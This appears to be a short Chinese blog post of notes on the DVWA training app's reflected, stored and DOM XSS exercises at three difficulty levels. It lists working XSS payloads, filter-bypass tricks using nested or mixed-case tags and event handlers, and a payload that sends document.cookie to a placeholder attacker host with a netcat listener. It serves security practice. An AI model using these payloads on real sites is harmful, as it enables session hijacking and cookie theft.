XSS

XSS

Posted by Kyon-H on August 5, 2023

XSS

XSS(Reflected)

LOW

1
2
3
4
5
6
7
#获取Cookie
<script>alert('document.cookie')</script>
#访问攻击者服务器
<iframe src='http://ip/time.jpg'></iframe>
#向攻击者服务器发送cookie
#nc -nvlp 80
<script>new Image().src="http://ip/a.php?output="+document.cookie;</script>

MEDIUM

利用大小写,组合过滤条件绕过

1
2
3
4
<Script>
<scr<script>ipt>
<body onload=alert('')>
<img src="" onerror="alert(document.cookie)"/>

HIGH

1
$name=preg_replace('/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i','',$_GET['name']);

无法使用<script>但可以使用其他标签

XSS(Stored)

LOW

后台源码:

trim(string,charlist):移除string字符两侧的预定义字符,预定义字符包括\t 、 \n 、\x0B 、\r以及空格,可选参数charlist支持添加额外需要删除的字符

stripslashes(string):去除掉string字符的反斜杠\

mysqli_real_escape_string(string,connection):函数会对字符串string中的特殊符号(\x00,\n,\r,\,‘,“,\x1a)进行转义。

$GLOBALS:引用全局作用域中可用的全部变量。

MEDIUM

1
2
htmlspecialchars()
//将标签转为普通字符

name为注入点

HIGH

name为注入点

XSS(DOM)

LOW

url注入

1
http://192.168.30.131/dvwa/vulnerabilities/xss_d/?default=<script>alert(document.cookie)</script>

MEDIUM

1
></option></select><img src=1 onerror="alert(document.cookie)"/>

HIGH

服务器对default设置了白名单,攻击代码用#注释不上传到服务器

1
http://192.168.30.131/dvwa/vulnerabilities/xss_d/?default=English #<script>alert(document.cookie)</script>